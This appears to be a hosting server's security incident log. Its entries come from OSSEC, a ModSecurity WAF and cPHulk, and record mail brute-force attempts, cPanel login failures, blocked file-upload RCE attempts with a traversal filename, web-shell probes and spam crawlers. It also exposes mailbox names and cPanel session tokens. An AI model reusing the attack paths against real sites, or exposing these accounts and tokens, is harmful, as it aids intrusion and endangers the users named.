# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-12 22:47:53 dovecot_login authenticator failed for H=([111.50.143.78]) [45.82.109.136]:48114: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.200.191.248
country_id: 1269750
description:
[2026-07-12 22:49:12 +0530] info [whostmgrd] 35.200.191.248 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350970
name: IM360 WAF: Amasty unauthenticated file-upload RCE - dangerous upload filename (WPT-2602)
abuser: 192.250.228.92
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Amasty unauthenticated file-upload RCE - dangerous upload filename (WPT-2602)||MVN:ARGS:fileContent.fileName_with_extension||MV:../../cox.txt||REQUEST_URI:/rest/all/V1/amasty_orderattr/uploadFile||SC:/home/globalgroupoman/public_html/rest||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 34.126.127.112
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/up.php||SC:/home/yukticlick/public_html/images/up.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-12 23:00:11 dovecot_login authenticator failed for H=([98.190.239.1]) [112.164.239.190]:34520: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 23:00:25 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([183.171.149.196]) [82.209.191.11]:44818: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.4.16.74
country_id: 3017382
description:
2026-07-12 23:02:12 dovecot_login authenticator failed for H=74.16.4.93.rev.sfr.net ([49.124.153.41]) [93.4.16.74]:55444: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-12 23:01:55 dovecot_login authenticator failed for H=([111.35.36.48]) [41.215.125.250]:49246: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.75.143
country_id: 357994
description:
2026-07-12 23:02:46 dovecot_login authenticator failed for H=([182.95.217.202]) [196.219.75.143]:57024: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-12 23:03:35 dovecot_login authenticator failed for H=([220.180.171.157]) [200.107.163.195]:58194: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-12 23:03:23 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([111.39.206.23]) [73.203.17.220]:33226: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-12 23:05:05 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([66.54.169.3]) [71.235.27.139]:56380: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-12 23:06:30 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi (industrianaval.fla.gvt.net.br) [80.223.192.112]:42390: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-12 23:09:41 dovecot_login authenticator failed for H=([144.24.107.1]) [102.210.148.41]:49052: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-12 23:09:28 dovecot_login authenticator failed for H=([36.135.62.94]) [118.220.149.121]:33144: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.193.165
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intrusion-detection-systems HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.51.143.36
country_id: 1269750
description:
2026-07-12 23:12:52 dovecot_plain authenticator failed for H=(occhosical) [106.51.143.36]:54544: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.186.126.50
country_id: 298795
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:63713.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:277e1ac2ab9288e14c540ad3c3b4ef198cb4b58c||Title:0x8c1e0343||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 107.189.14.87
country_id: 2960313
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_aoikzs.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.60
country_id: 1668284
description:
2026-07-12 23:19:25 dovecot_login authenticator failed for H=111-70-34-60.emome-ip.hinet.net (l193151.ppp.asahi-net.or.jp) [111.70.34.60]:59634: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.221.2.119
country_id: 1835841
description:
2026-07-12 23:19:38 dovecot_login authenticator failed for H=([174.64.199.71]) [211.221.2.119]:35087: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-12 23:23:44 dovecot_login authenticator failed for H=([180.250.112.148]) [202.62.88.25]:49730: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-12 23:26:43 dovecot_login authenticator failed for H=([49.124.151.55]) [182.78.86.62]:39140: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-12 23:27:06 dovecot_login authenticator failed for H=([192.111.130.1]) [154.146.238.122]:49490: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.22
country_id: 1835841
description:
2026-07-12 23:30:30 dovecot_login authenticator failed for H=([103.210.250.198]) [59.0.127.22]:54718: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-12 23:30:46 dovecot_login authenticator failed for H=([192.111.139.161]) [63.78.215.208]:48660: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-12 23:32:39 +0530] info [cpaneld] 223.181.13.36 NEW ahsmarine:ZpKiRRnR3J2wpkYc address=223.181.13.36,app=cpaneld,creator=ahsmarine,method=handle_form_login,path=loadsession:ahsmarine:Mup0veNPlAHDJKJi,possessed=1,possessor=root


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-12 23:32:39 +0530] info [whostmgrd] 223.181.13.36 NEW ahsmarine:Mup0veNPlAHDJKJi address=223.181.13.36,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.41
country_id: 1210997
description:
2026-07-12 23:33:34 dovecot_login authenticator failed for H=([117.32.132.170]) [157.119.184.41]:43196: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-12 23:33:46 dovecot_login authenticator failed for H=([70.166.167.60]) [202.165.29.196]:15219: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.254.190.160
country_id: 3865483
description:
2026-07-12 23:33:50 dovecot_login authenticator failed for H=([196.191.142.67]) [128.254.190.160]:52444: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-12 23:35:02 dovecot_login authenticator failed for H=([49.124.150.252]) [103.147.248.23]:42826: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.133.224
country_id: 1733045
description:
2026-07-12 23:34:36 dovecot_login authenticator failed for H=([111.26.62.45]) [49.124.133.224]:59540: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.240.209
country_id: 1269750
description:
2026-07-12 23:36:12 dovecot_login authenticator failed for H=(nsg-corporate-209.240.187.122.airtel.in) [122.187.240.209]:34109: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.192
country_id: 2287781
description:
2026-07-12 23:35:39 dovecot_login authenticator failed for H=([61.97.17.208]) [160.154.84.192]:3577: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-12 23:35:57 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:47000: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-12 23:36:57 dovecot_login authenticator failed for H=([184.181.178.35]) [103.168.241.32]:43462: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.220.98
country_id: 1733045
description:
2026-07-12 23:37:32 dovecot_login authenticator failed for H=([70.166.167.33]) [49.124.220.98]:57314: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-12 23:41:46 dovecot_login authenticator failed for H=([162.253.68.102]) [101.13.5.34]:52584: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-12 23:41:23 dovecot_login authenticator failed for H=([220.88.50.241]) [65.20.204.88]:54406: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-12 23:43:52 dovecot_login authenticator failed for H=([74.208.177.56]) [65.20.153.146]:50274: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-12 23:46:21 dovecot_login authenticator failed for H=([196.188.187.85]) [211.105.229.237]:57518: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.39.214
country_id: 1668284
description:
2026-07-12 23:46:46 dovecot_login authenticator failed for H=111-70-39-214.emome-ip.hinet.net (78.187.9.111.dynamic.ttnet.com.tr) [111.70.39.214]:43487: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.79.59.1
country_id: 878675
description:
2026-07-12 23:49:45 dovecot_login authenticator failed for H=([98.181.137.69]) [41.79.59.1]:10137: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 165.231.227.45
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://delayu.ru/delayucnt/1/cnt?msgid=47204&to=https://nekludovo.ru/go?http://forexparty.org/broker/ratingbankov/neft.html\">najlepsze kasyna online z paypal</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.181.32
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:191.101.181.32||TA:191.101.181.32||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-12 23:57:08 dovecot_login authenticator failed for H=([72.214.108.73]) [182.95.106.138]:50384: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-12 23:57:03 dovecot_login authenticator failed for H=([142.54.229.253]) [154.146.240.123]:53008: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-07-12 23:58:08 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:45653: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-12 23:57:54 dovecot_login authenticator failed for H=(18776239145.telemar.net.br) [125.23.228.86]:40514: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-07-12 23:58:28 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:47672: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.250.250
country_id: 1269750
description:
2026-07-12 23:58:50 dovecot_login authenticator failed for H=([65.99.181.123]) [122.187.250.250]:48854: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-13 00:00:16 dovecot_login authenticator failed for H=([211.37.24.146]) [191.44.113.143]:55678: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-13 00:01:07 dovecot_login authenticator failed for H=([197.219.208.38]) [175.200.217.128]:47980: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-13 00:01:03 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net (static.vnpt.vn) [71.229.1.186]:38538: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.195.108.229
country_id: 1835841
description:
2026-07-13 00:00:49 dovecot_login authenticator failed for H=([68.71.254.3]) [211.195.108.229]:39217: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-13 00:02:14 dovecot_login authenticator failed for H=([116.237.181.57]) [122.160.142.194]:46588: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.131.76.71
country_id: 357994
description:
2026-07-13 00:01:48 dovecot_login authenticator failed for H=([187.93.202.22]) [213.131.76.71]:58900: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-13 00:02:58 dovecot_login authenticator failed for H=([1.212.225.99]) [188.122.37.97]:53728: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-13 00:02:46 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([74.119.144.57]) [83.208.70.70]:46304: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.84.240
country_id: 294640
description:
2026-07-13 00:04:14 dovecot_login authenticator failed for H=([174.75.211.217]) [2.55.84.240]:52238: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-13 00:04:27 dovecot_login authenticator failed for H=([49.124.151.67]) [65.20.146.109]:35398: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.43.123
country_id: 6252001
description:
2026-07-13 00:10:31 dovecot_plain authenticator failed for H=c-71-229-43-123.hsd1.ga.comcast.net (aciusiterk) [71.229.43.123]:44100: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 00:15:15 +0530] info [cpaneld] 203.150.37.5 - eleganta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eleganta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 00:15:18 +0530] info [cpaneld] 203.150.37.5 - lgnttmtvs "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lgnttmtvs (has_cpuser_file failed)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 203.150.37.5
country_id: 1605651
description:
Login Blocked: IP reached maximum auth failures [Service]=[cpaneld] [Local IP Address]=[192.168.74.189] [Local Port]=[2083] [Remote IP Address]=[203.150.37.5] [Remote Port]=[43056] [Authentication Database]=[system] [Username]=[elegantautomotives_] (5/5 failures) (blocked until [Sun Jul 12 19:00:19 2026 UTC/Mon Jul 13 00:30:19 2026 LOCAL])


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 00:19:07 +0530] info [whostmgrd] 203.150.37.5 - eleg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: brute force attempt (user eleg) has locked out IP 203.150.37.5


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 00:19:07 +0530] info [whostmgrd] 203.150.37.5 - elegan "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: brute force attempt (user elegan) has locked out IP 203.150.37.5


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.46
country_id: 99237
description:
2026-07-13 00:20:06 dovecot_login authenticator failed for H=([119.207.56.116]) [65.20.138.46]:54648: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-13 00:21:17 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu (host-45-145-203-68.mywic.eu) [188.36.7.196]:47900: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-13 00:20:20 dovecot_login authenticator failed for H=(c-83-226-56-106.bbcust.telenor.se) [173.18.106.54]:36732: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-13 00:21:42 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl (92x255x190x68.static-business.omsk.ertelecom.ru) [89.68.245.7]:57136: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-13 00:23:46 dovecot_login authenticator failed for H=([197.242.170.10]) [183.89.208.174]:37160: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-13 00:23:29 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([59.12.212.38]) [76.133.97.153]:36333: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/uxszlsoo/fonts/jrawbkzq.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-13 00:26:21 dovecot_login authenticator failed for H=([222.246.240.162]) [103.130.207.227]:59040: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.186.73.131
country_id: 149590
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:50377.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22e167e8e4a56cbf7854f53b81349c9847d79e9d||Title:qzyr4x3wvzd4e1ayh||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-13 00:38:50 dovecot_login authenticator failed for H=(static-ip-1815407040.cable.net.co) [182.95.178.174]:41708: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-13 00:38:37 dovecot_login authenticator failed for H=([194.103.82.72]) [218.156.93.202]:37645: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 77.127.129.179
country_id: 294640
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.kan.org.il/content/kan-news/global/260970/\">\xd7\x91\xd7\x9c\xd7\x90\xd7\xa7 \xd7\xa7\xd7\x99\xd7\x95\xd7\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-13 00:49:08 dovecot_login authenticator failed for H=([103.140.18.186]) [210.5.117.238]:64491: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-13 00:49:24 dovecot_login authenticator failed for H=(70-89-116.5-BusName-WA.hfc.comcastbusiness.net) [119.192.249.195]:35004: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-13 00:51:06 dovecot_login authenticator failed for H=([49.124.151.11]) [27.123.114.190]:38604: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-13 00:51:31 dovecot_login authenticator failed for H=([174.77.111.220]) [182.95.106.118]:36912: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-13 00:53:52 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [85.152.57.60]:42916: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-13 00:54:01 dovecot_login authenticator failed for H=([184.170.245.145]) [182.95.116.66]:38188: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 00:53:42 dovecot_login authenticator failed for H=(nsg-corporate-21.226.187.122.airtel.in) [119.92.76.210]:57020: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-13 00:55:21 dovecot_login authenticator failed for H=(abts-mum-static-195.99.170.122.airtelbroadband.in) [154.146.238.122]:48646: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-13 00:55:35 dovecot_login authenticator failed for H=(mx0.vdk.ru) [116.72.9.151]:54484: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.222.172.38
country_id: 3895114
description:
2026-07-13 00:59:07 dovecot_login authenticator failed for H=([177.7.30.146]) [129.222.172.38]:36719: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 01:05:15 dovecot_login authenticator failed for H=([42.248.129.234]) [182.95.228.194]:33994: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-13 01:04:22 dovecot_login authenticator failed for H=([192.252.210.237]) [182.95.109.138]:58504: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.193.249.210
country_id: 1835841
description:
2026-07-13 01:07:09 dovecot_login authenticator failed for H=([128.185.201.26]) [211.193.249.210]:58190: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-13 01:07:48 dovecot_login authenticator failed for H=([49.124.153.26]) [182.78.87.2]:59098: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.71
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-08.196.51.184.71||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.250
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-08.196.51.187.250||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.81
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-08.196.51.187.81||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.182
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-08.196.51.184.182||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.118.20.106
country_id: 2921044
description:
2026-07-13 01:09:39 dovecot_login authenticator failed for H=ip-084-118-020-106.um23.pools.vodafone-ip.de ([107.181.161.85]) [84.118.20.106]:23235: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-13 01:10:04 dovecot_login authenticator failed for H=([5.76.16.216]) [41.219.149.74]:50476: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-13 01:12:06 dovecot_login authenticator failed for H=(183.82.108.109.actcorp.in) [125.23.155.110]:59986: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
